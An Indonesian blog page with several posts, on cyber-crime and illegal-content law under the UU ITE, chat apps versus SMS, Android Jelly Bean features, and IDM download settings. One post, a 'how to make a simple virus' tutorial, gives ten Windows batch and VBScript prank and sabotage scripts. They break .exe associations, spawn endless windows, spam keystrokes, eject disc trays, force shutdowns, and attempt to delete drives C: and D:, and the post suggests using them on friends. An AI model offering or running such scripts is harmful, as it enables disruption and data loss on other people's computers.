Labelsss

Minggu, 25 Mei 2014

Konten Ilegal


Pengertian
Illegal Content adalah tindakan memasukkan data dan atau informasi ke dalam internet yang dianggap tidak benar, tidak etis dan melanggar hukum atau mengganggu ketertiban umum.
Sedangkan beberapa pandapat mengasumsikan cyber crime sebagai “any illegal act requiring knowledge of Computer technology for its perpetration, investigation, or prosecution” ini menurut The U.S. Department of Justice. ("Setiap tindakan ilegal yang membutuhkan pengetahuan teknologi komputer untuk, investigasi perbuatan, atau penuntutan").

Pengertian lainnya diberikan oleh Organization of European Community Development, yaitu: “any illegal, unethical or unauthorized behavior relating to the automatic processing and/or the transmission of data”.("setiap perilaku, ilegal tidak etis atau tidak sah yang berhubungan dengan proses otomatis dan / atau transmisi data").

Sebagai contohnya, pemuatan suatu berita bohong atau fitnah yang akan menghancurkan martabat atau harga diri pihak lain, hal-hal yang berhubungan dengan pornografi atau pemuatan suatu informasi yang merupakan rahasia negara, agitasi dan propaganda untuk melawan pemerintahan yang sah dan sebagainya.


Illegal content menurut pengertian diatas dapat disederhanakan pengertiannya menjadi : kegiatan menyebarkan (mengunggah,menulis) hal yang salah atau diarang atau dapat merugikan orang lain. Yang menarik dari Hukuman atau sangsi untuk beberapa kasus seseorang yang terlibat dalam ‘Illegal content’  ini ialah hanya penyebar atau yang melakukan proses unggah saja yang mendapat sangsi sedangkan yang mengunduh tidak mendapat hukuman apa apa selain hukuman moral dan perasaan bersalah setelah mengunduh file yang tidak baik.



Cyber Crime
Kejahatan dunia maya atau CyberCrime adalah istilah yang mengacu kepada aktivitas kejahatan dengan komputer atau jaringan komputer menjadi alat, sasaran atau tempat terjadinya kejahatan. Termasuk ke dalam kejahatan dunia maya antara lain adalah penipuan lelang secara online, pemalsuan cek, penipuan kartu kredit/carding, confidence fraud, penipuan identitas, pornografi anak, dll.

Percepatan teknologi semakin lama semakin supra yang menjadi sebab material perubahan yang terus menerus dalam semua interaksi dan aktivitas masyarakat informasi. Internet merupakan symbol material embrio masyarakat global. Internet membuat globe dunia, seolah-olah menjadi seperti hanya selebar daun kelor.

Era informasi ditandai dengan aksesibilitas informasi yang amat tinggi. Dalam era ini, informasi merupakan komoditi utama yang diperjual belikan sehingga akan muncul berbagai network dan information company yang akan memperjual belikan berbagai fasilitas bermacam jaringan dan berbagai basis data informasi tentang berbagai hal yang dapat diakses oleh pengguna dan pelanggan.

Sebenarnya dalam persoalan cybercrime, tidak ada kekosongan hukum, ini terjadi jika digunakan metode penafsiran yang dikenal dalam ilmu hukum dan ini yang mestinya dipegang oleh aparat penegak hukum dalam menghadapi perbuatan-perbuatan yang berdimensi baru yang secara khusus belum diatur dalam undang-undang.
Dalam beberapa literatur, cybercrime sering diidentikkan sebagai computer crime.

Pengertian Cyber Crime menurut para ahli:
• Andi Hamzah dalam bukunya “Aspek-aspek Pidana di Bidang Komputer” (2013) mengartikancybercrime sebagai kejahatan di bidang komputer secara umum dapat diartikan sebagai penggunaan komputer secara ilegal.

• Forester dan Morrison mendefinisikan kejahatan komputer sebagai: aksi kriminal dimana komputer digunakan sebagai senjata utama.

• Girasa (2013) mendefinisikan cybercrime sebagai : aksi kejahatan yang menggunakan teknologi komputer sebagai komponen utama.

• M.Yoga.P (2013) memberikan definisi cybercrime yang lebih menarik, yaitu: kejahatan dimana tindakan kriminal hanya bisa dilakukan dengan menggunakan teknologi cyber dan terjadi di dunia cyber.

Contoh Kasus
Kasus kebohongan Ramaditya seorang blogger motivator tunanetra yang juga seorang tunanetra yang pernah menjadi bintang tamu di acara Kick Andy dipercaya memiliki suatu kelebihan yaitu bisa mengoperasikan komputer dengan sangat baik dan juga pandai memainkan alat musik yang sangat menghebohkan dunia internet di akhir bulan Agustus tahun 2010 lalu. Dia mengaku kalau semua klaim selama ini atas profesi nya sebagai pencipta musik – musik game online besar di Jepang hanyalah sebuah kebohongan public. Dari kasus di atas dapat dikatakan kalau seorang Ramaditya melakukan sebuah pelanggaran kode etik seorang blogger, yaitu menyebarkan berita tentang diri nya yang hanya berupa sebuah kebohongan  yang sudah berlangsung lama. Ramaditya tidak mendapatkan sanksi hukum akan tetapi dia mendapatkan sanksi moral berupa celaan sesama netter dan juga pemutusan kontrak-kontrak pekerjaan offline. Artinya, jika suatu kode etik profesi dilanggar maka pelaku nya akan tersingkir dari profesi yang digeluti sebelumnya dan kepercayaan public akan kemampuan serat eksistensi dirinya telah hilang walaupun seorang Ramaditya memang benar – benar bisa mengoperasikan komputer dan menulis di blog nya dikarenakan dia menyebarkan kebohongan dan juga mengakui hak cipta orang lain sebagai ciptaan nya.


Kasus penyebaran video Aril  beberapa waktu lalu dalam yang menghebohkan dunia hiburan tanah air, sosial media. Dalam kasus ini aparat kepolisian hanya mencari tiga pemeran utama video dan pelaku yang pertama kali mengunggah dan menyebarkan file video tersebut ke internet. Perbuatan pelaku berkaitan illegal content dapat dikategorikan sebagai berikut:
a. Penyebaran informasi elektronik yang bermuatan illegal content
b. Membuat dapat diakses informasi elektronik yang bermuatan illegal content
c. Memfasilitasi perbuatan penyebaran informasi elektronik, membuat dapat diaksesnya informasi elektronik yang bermuatan illegal content (berkaitan dengan pasal 34 UU ITE)


UU ITE Illegal Content

Undang-Undang Nomor 11 Tahun 2008 Tentang Internet & Transaksi Elektronik (ITE)
Undang-undang ini, yang telah disahkan dan diundangkan pada tanggal 21 April 2008, walaupun sampai dengan hari ini belum ada sebuah PP yang mengatur mengenai teknis pelaksanaannya, namun diharapkan dapat menjadi sebuah undang-undang cyber atau cyberlaw guna menjerat pelaku-pelaku cybercrime yang tidak bertanggungjawab dan menjadi sebuah payung hukum bagi masyarakat pengguna teknologi informasi guna mencapai sebuah kepastian hukum.
  • Pasal 27 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak mendistribusikan dan/atau mentransmisikan dan/atau membuat dapat diaksesnya informasi elektronik dan/atau dokumen elektronik yang memiliki muatan yang melanggar kesusilaan. Ancaman pidana pasal 45(1) KUHP. Pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp 1.000.000.000,00 (satu miliar rupiah). Diatur pula dalam KUHP pasal 282 mengenai kejahatan terhadap kesusilaan.
  • Pasal 28 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak menyebarkan berita bohong dan menyesatkan yang mengakibatkan kerugian konsumen dalam transaksi elektronik.
  • Pasal 29 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak mengirimkan informasi elektronik dan/atau dokumen elektronik yang berisi ancaman kekerasaan atau menakut-nakuti yang dutujukkan secara pribadi (Cyber Stalking). Ancaman pidana pasal 45 (3) Setiap orang yang memenuhi unsur sebagaimana dimaksud dalam pasal 29 dipidana dengan pidana penjara paling lama 12 (dua belas) tahun dan/atau denda paling banyak Rp. 2.000.000.000,00 (dua miliar rupiah).
  • Pasal 30 UU ITE tahun 2008 ayat 3 : Setiap orang dengan sengaja dan tanpa hak atau melawan hukum mengakses computer dan/atau system elektronik dengan cara apapun dengan melanggar, menerobos, melampaui, atau menjebol system pengaman (cracking, hacking, illegal access). Ancaman pidana pasal 46 ayat 3 setiap orang yang memebuhi unsure sebagaimana dimaksud dalam pasal 30 ayat 3 dipidana dengan pidana penjara paling lama 8 (delapan) dan/atau denda paling banyak Rp 800.000.000,00 (delapan ratus juta rupiah).
  •  Pasal 33 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak atau melawan hukum melakukan tindakan apa pun yang berakibat terganggunya system elektronik dan/atau mengakibatkan system elektronik menjadi tidak bekerja sebagaiman mestinya.
  • Pasal 34 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak atau melawan hukum memproduksi, menjual, mengadakan untuk digunakan, mengimpor, mendistribusikan, menyediakan atau memiliki.
  • Pasal 35 UU ITE tahun 2008 : Setiap orang dengan sengaja dan tanpa hak atau melawan hukum melakukan manipulasi, penciptaan, perubahan, penghilangan, pengrusakan informasi elektronik dan/atau dokumen elektronik dengan tujuan agar informasi elektronik dan/atau dokumen elektronik tersebut seolah-olah data yang otentik (Phising=penipuansitus).

Kitab Undang Undang Hukum Pidana
  • Pasal 362 KUHP yang dikenakan untuk kasus carding.
  • Pasal 378 KUHP dapat dikenakan untuk penipuan.
  • Pasal 335 KUHP dapat dikenakan untuk kasus pengancaman dan pemerasan yang dilakukan melalui e-mail yang dikirimkan oleh pelaku untuk memaksa korban melakukan sesuatu sesuai dengan apa yang diinginkannya.
  • Pasal 311 KUHP dapat dikenakan untuk kasus pencemaran nama baik dengan menggunakan media Internet.
  • Pasal 406 KUHP dapat dikenakan pada kasus deface atau hacking yang membuat sistem milik orang lain.

Undang-Undang No 19 Tahun 2002 tentang Hak Cipta.
Menurut Pasal 1 angka (8) Undang – Undang No 19 Tahun 2002 tentang Hak Cipta, program komputer adalah sekumpulan intruksi yang diwujudkan dalam bentuk bahasa, kode, skema ataupun bentuk lain yang apabila digabungkan dengan media yang dapat dibaca dengan komputer akan mampu membuat komputer bekerja untuk melakukan fungsi-fungsi khusus atau untuk mencapai hasil yang khusus, termasuk persiapan dalam merancang intruksi-intruksi tersebut.

Undang-Undang No 36 Tahun 1999 tentang Telekomunikasi.
Menurut Pasal 1 angka (1) Undang – Undang No 36 Tahun 1999, Telekomunikasi adalah setiap pemancaran, pengiriman, dan/atau penerimaan dan setiap informasi dalam bentuk tanda-tanda, isyarat, tulisan, gambar, suara, dan bunyi melalui sistem kawat, optik, radio, atau sistem elektromagnetik lainnya.

Undang-Undang No 8 Tahun 1997 tentang Dokumen Perusahaan.
Undang-Undang No. 8 Tahun 1997 tanggal 24 Maret 1997 tentang Dokumen Perusahaan, pemerintah berusaha untuk mengatur pengakuan atas mikrofilm dan media lainnya (alat penyimpan informasi yang bukan kertas dan mempunyai tingkat pengamanan yang dapat menjamin keaslian dokumen yang dialihkan atau ditransformasikan. Misalnya Compact Disk – Read Only Memory (CD – ROM), dan Write – Once -Read – Many (WORM), yang diatur dalam Pasal 12 Undang-Undang tersebut sebagai alat bukti yang sah.

Undang-Undang No 25 Tahun 2003 tentang Perubahan atas Undang-Undang No. 15 Tahun 2002 tentang Tindak Pidana Pencucian Uang.
Jenis tindak pidana yang termasuk dalam pencucian uang (Pasal 2 Ayat (1) Huruf q). Penyidik dapat meminta kepada bank yang menerima transfer untuk memberikan identitas dan data perbankan yang dimiliki oleh tersangka tanpa harus mengikuti peraturan sesuai dengan yang diatur dalam Undang-Undang Perbankan.

Undang-Undang No 15 Tahun 2003 tentang Pemberantasan Tindak Pidana Terorisme.
Undang-Undang ini mengatur mengenai alat bukti elektronik sesuai dengan Pasal 27 huruf B yaitu alat bukti lain berupa informasi yang diucapkan, dikirimkan, diterima, atau disimpan secara elektronik dengan alat optik atau yang serupa dengan itu. Digital evidence atau alat bukti elektronik sangatlah berperan dalam penyelidikan kasus terorisme.
Karena saat ini komunikasi antara para pelaku di lapangan dengan pimpinan atau aktor intelektualnya dilakukan dengan memanfaatkan fasilitas di Internet untuk menerima perintah atau menyampaikan kondisi di lapangan karena para pelaku mengetahui pelacakan terhadap Internet lebih sulit dibandingkan pelacakan melalui handphone.
Fasilitas yang sering digunakan adalah e-mail dan chat room selain mencari informasi dengan menggunakan search engine serta melakukan propaganda melalui bulletin board atau mailing list.



////Percobaan tugas kuliah (Maintenance).
Baca Selengkapnya >>>

Jumat, 26 Juli 2013

6 Aplikasi Chatting Bakal Matikan SMS



Seiring berkembangnya dunia Teknologi di planet Bumi, ini tak luput dari Aplikasi chatting yang belakangan ini sedang booming. Layanan pesan singkat atau short message service (SMS) adalah salah satu medium komunikasi terpopuler yang di akses lewat telepon genggam. Akan tetapi, seiring dengan pesatnya pertumbuhan smartphone dan aplikasi-aplikasi chatting, popularitas SMS bakal ketinggalan dan memudar.

Laporan global lembaga riset informa menunjukkan bahwa sepanjang tahun 2012 lalu, rata-rata harian jumlah pesan yang dikirim lewat aplikasi chatting sudah lebih tinggi daripada SMS, yaitu 19 miliar pesan per-hari berbanding 17,6 miliar pesan per-hari. Angka tersebut diperoleh dari 6 Aplikasi chatting yang paling populer diantaranya WhatsApp, BlackBerry Messenger (BBM), Viber, Nimbuzz, iMessage dan KakaoTalk.

Informa memperkirakan pada tahun 2014 yang akan datang, jumlah pesan yang dikirim lewat aplikasi chat akan mencapai 50 miliar per-hari, berbanding 21 miliar per-hari yang dikirim via SMS.

Belum lagi ada aplikasi chatting lainnya, seperti pengguna Facebook Messenger for Android (100-500 juta pengguna) dan aplikasi Ten Cent asal China (kurang lebih 300 juta pengguna).

Mengapa aplikasi Chatting bisa berkembang begitu cepat?

Mungkin alasannya adalah faktor harga. Aplikasi-aplikasi chatting tersebut secara umum bisa digunakan secara cuma-cuma, sedangkan SMS dikenakan biaya pengiriman pesan.

Baca Selengkapnya >>>

Selasa, 23 Juli 2013

Fitur Android 4.1 Jelly Bean



Pada tanggal 27/6/2012 Google secara resmi mengumumkan sistem operasi mobile Android versi 4.1 yang diberi nama Jelly Bean, dalam konferensi Google I/O 2012 di San Fransisco, Amerika Serikat. Jelly Bean diumumkan dua pekan setelah Apple mengumumkan sistem operasi mobile iOS versi 6.

Dalam versi terbaru milik Google ini, Jelly Bean mengalami banyak pembaruan dari versi Android sebelumnya. Berikut fitur-fitur terbarunya:

Keyboard Dapat Memprediksi Kata
Ketika sedang mengetik pesan, keyboard secara otomatis akan memprediksi kata apa yang ingin anda ketik tersebut.

Voice Typing
Fitur ini memungkinkan pengguna tak perlu lagi mengetik di keyboard virtual, karena dengan fitur ini, anda dimungkinkan mendiktekan pesan apa yang ingin diketik tanpa perlu koneksi internet.
Namun, belum diketahui apakah fitur Voice Typing ini mendukung bahasa Indonesia atau tidak.

Pembaruan Aplikasi Kamera
Jelly Bean mengalami pembaruan aplikasi pada kamera yang memudahkan pengguna dalam melihat foto. Cukup touch ke atas layar untuk menghapus foto.
Tampilan kamera di Jelly Bean ini terlihat lebih halus dan sederhana di bandingkan dengan versi Android sebelumnya, yaitu Ice Cream Sandwich.

Project Butter
Fitur ini bertujuan untuk meningkatkan kinerja sistem operasi Android secara keseluruhan. Antara lain, meningkatkan sistem frame agar konsistem pada 60 frame per-detik.
Project Butter juga mampu memberi efek hemat daya baterai karena ia berhubungan dengan processor.

Google Now, Fitur Virtual Asisten
Tak mau kalah dari Apple yang menawarkan fitur asisten pribadi Siri di iPhone 4S, Google pun segera meluncurkan fitur yang mirip Siri bernama Google Now. Fitur ini akan memberi jawaban atas segala pertanyaan dari perintah yang dilontarkan pengguna.
Seperti Siri, fitur ini harus terkoneksi dengan internet untuk mencari jawaban atas apa yang anda tanyakan.

Google menyatakan fitur ini mendukung 18 bahasa. Namun, belum dipastikan apakah akan mendukung bahasa Indonesia.

Google Now juga dapat merekam rutinitas harian dan membantu melihat riwayat lokasi yang telah dikunjungi penggunanya.

Baca Selengkapnya >>>

WMSC Blogspot, Kini Tersedia di Ponsel Android

Selamat pagi Indonesia... Selamat sahur untuk yang menjalankan ibadah puasa hari ini, semoga puasa-nya lancar lancar aja, amiin...

Buka mata, buka hati. Sekarang udah jamannya SmartPhone atau dengan kata lain adalah Ponsel Pintar.
Melihat informasi dari google play atau playstore yang menyediakan jutaan aplikasi untuk ponsel berbasis Android, itu membuat saya ingin menunjukan bahwa blog ini pun mampu menyediakan aplikasi untuk ponsel berbasis Android.



Untuk menjangkau pengunjung di ponsel yang menggunakan OS Android, maka saya sediakan aplikasi untuk ponsel tersebut, aplikasi tersebut ber-ekstensi .apk dan siap dijalankan di ponsel anda :)






Gambar diatas adalah screen-shot dari handphone saya sendiri :D
Silahkan download aplikasi-nya, disini...


Kalau sudah di download, maka instal seperti biasanya, dan yang terakhir adalah selamat menikmati. Terima Kasih :)

Baca Selengkapnya >>>

Minggu, 30 Juni 2013

Mempercepat Download Dengan Setting IDM




Kepanjangan dari IDM adalah Internet Download Manager. Software ini berfungsi untuk mempercepat download, dan sudah dipakai banyak orang. Lalu, bagaimana caranya agar kerja dari IDM tersebut benar-benar maksimal? Simak tips berikut:

Kalau ada yang belum punya software IDM, silahkan download disini...


Jika sudah selesai download, maka instal software tersebut.

Jika sudah selesai instal, maka saatnya kita melakukan setting.

Buka IDM nya, lalu klik option.

Pilih tab Connection.

Lalu ubah Connection Type/Speed menjadi LAN 10Mbs.


Kemudian ubah juga Default max. conn. number menjadi 16.


Jika sudah, lalu klik Ok.

Selanjutnya klik kanan icon IDM yang berada di Tray Icon (samping jam) di pojok kanan bawah.

Atur Speed Limiter nya menjadi Turn off. Ini bermaksud untuk tidak membatasi kecepatan download.


Jika sudah, maka lakukan testing dengan mendownload salah satu file dari internet dan rasakan perbedaannya :)


Baca Selengkapnya >>>

Rabu, 26 Juni 2013

Cara Membuat Virus Sederhana



Pada kesempatan kali ini, saya akan membahas tentang cara membuat virus sederhana dengan menggunakan notepad dan cmd.
Pernah instal ulang cuma gara-gara virus? Itu pasti gak enak. Iyakan? hehe
Sekarang saya akan membuat sedikit trik membuat virus ber-label funny hingga sinister :D
Okeee.... langsung aja, mari disimak. 

1. Menggunakan CMD (command prompt).
Yang pertama, saya akan menjelaskan cara membuat virus menggunakan CMD.
Buka program cmd nya dengan cara:
  • Klik start
  • Run
  • ketik cmd, lalu enter
atau bisa melalui keyboard dengan menekan key windows + R lalu ketik cmd dan dan tekan enter lalu ketikan script berikut di cmd "ASSOC.exe=.hang" tanpa tanda petik lalu tekan enter.
Ini membuat program / aplikasi yang berexstensi .exe tidak mau jalan, seperti software, game, dll.
Tapi tenang, ini bisa dikembalikan seperti semula dengan cara buka cmd nya lagi lalu ketik "ASSOC.exe=EXEFILE" trik ini bisa untuk ngerjain teman anda, yaa walaupun tema nya hanya untuk iseng.


2. Next, sekarang saya akan menjelaskan cara membuat virus menggunakan Notepad.
Buka notepad nya, caranya:
  • Klik Start
  • All programs
  • Accessories
  • Notepad
atau bisa juga dengan cara klik kanan di desktop lalu New > Text Document.
Kemudian ketik atau copas kode script berikut ke notepad yang telah dipersiapkan: 
------

start

start

start

start

start

start

start

start

start

start

start

start

------
Selanjutnya simpan di notepad dengan nama apa saja dengan exstensi .bat contoh: "error.bat" tanpa tanda kutip lalu Save As, Type ganti menjadi All Files.
Trik ini membuat komputer menjadi error, karena akan membuka CMD yang banyak jika file "error.bat" itu di buka.

3. Masih di notepad
Sekarang saya akan jelaskan cara membuat notepad terbuka secara otomatis.
Silahkan ketik atau copas kode script berikut ke notepad:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan di notepad dengan nama apa saja dengan exstensi .bat sama seperti yang tadi, contoh "error.bat" tanpa tanda kutip lalu Save As, Type ganti menjadi All Files.
Trik ini akan membuat notepad terbuka dengan sendirinya secara otomatis.

4. Masih menggunakan notepad.
Yang sekarang cara membuat tombol backspace menjadi error menekan terus menerus secara otomatis.
Langsung saja ketik atau copas kode script berikut ke notepad: 

MsgBox "Kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Simpan kode script tersebut di notepad dengan nama apa saja yang penting tidak lupa menuliskan exstensi .vbs
Contoh: "error.vbs" tanpa tanda kutip dan Save As, Type ganti menjadi All Files.
Trik ini membuat tombol backspace menjadi error dan menekan dengan sendiri nya.

5. Masih menggunakan notepad.
Trik yang sekarang ini bisa membuat CD/DVD Room buka tutup dengan sendiri nya.
Langsung saja ketik atau copas kode script berikut ke notepad: 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs seperti tadi.
Contoh: "error.vbs" dan Save As, Type ganti menjadi All Files.
Maka CD/DVD Room tersebut akan buka tutup dengan sendirinya secara otomatis.

6. Masih menggunakan notepad.
Trik kali ini bisa membuat Caps Lock menyala terus menerus.
Langsung saja ketik atau copas kode script berikut ke notepad:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs seperti tadi.
Contoh: "error.vbs" dan Save As, Type ganti menjadi All Files.
Maka jika File ini di buka akan membuat Caps Lock menyala terus menerus.

7. Trik yang ke-tujuh masih di notepad.
Membuat komputer menjadi shoutdown dengan kata lain, mati atau is dead.
Langsung saja ketik atau copas kode script berikut ke notepad:

@echo off
msg * Hemat listrik, matikan komputer!!!
shutdown -c "Error! You are too ******!" -s

Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs seperti tadi.
Contoh: "shutdown.vbs" dan Save As, Type ganti menjadi All Files.
Maka jika file ini di buka akan membuat komputer shoutdown atau mati.

8. Trik yang ini sama dengan trik yang nomor 7 hanya saja trik yang ini menggunakan waktu.
Langsung saja ketik atau copas kode script berikut ke notepad:

@echo shutdown -s -t 1 -f 

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .bat berbeda dengan trik yang no 7.
Contoh : "error.bat" tanpa tanda kutip dan Save As, Type ganti menjadi All Files.
Maka jika file ini dibuka akan sama dengan no 7 yaitu membuat komputer Shoutdown, hanya saja yang membedakan adalah yang ini berisi waktu, lihat angka pada kode script tersebut yang berwarna biru, itu adalah waktu yang dibutuhkan untuk mematikan komputer, bisa di atur sesuai keinginan (1 = 1 detik).

9. Kali ini trik yang lumayan berbahaya.
Karena komputer akan dipenuhi oleh 100000000 tourstart yang akan memenuhi layar monitor dan akan membuat komputer menjadi hang!
Untuk mengatasinya dapat mendelete semua tourstart tersebut atau langsung me-restart 
komputer.
Silahkan ketik atau copas kode script berikut ke notepad: 

option explicit 
dim wshshell 
set wshshell=wscript.createobject(“wscript.shell”) 
dim x 
for x = 1 to 100000000 
wshshell.run “tourstart.exe” 
next

Simpan dengan nama bebas dan dengan exstensi .vbs
Contoh: "virus.vbs" tanpa tanda kutip dan Save As, Type ganti menjadi All Files.
Pada angka yang saya beri wara biru, itu bisa di ganti sesuai keinginan, bisa dibuat menjadi 100 atau 1000 saja, dan begitu file ini dibuka akan membuat tourstart sesuai dengan angka yang ditulis pada kode tesebut.

10. Terakhiiiirrr...
Saya rasa paling berbayaha, karena dapat menghapus seluruh data di hardisk tanpa terkecuali, sehingga mau tidak mau ya harus instal ulang.
Langsung saja ketik atau copas kode script berikut di notepad: 

@echo off

DEL C: -Y
DEL D: -Y


Simpan dengan nama bebas dan exstensi .bat
Contoh: "virus.bat" tanpa tanda kutip dan Save As, Type ganti menjadi All Files dan simpan, tapi JANGAN DIKLIK karena bisa berakibat fatal bagi komputer anda.

Saya rekomendasikan, jangan dicoba dikomputer sendiri atau dikomputer yang masih sehat. Silahkan coba dikomputer yang memang ingin di instal ulang. Tetapi jika anda mengerti dari script diatas, silahkan dicoba.

Selamat mencoba :)
Jangan disalah gunakan!

Baca Selengkapnya >>>
Prev home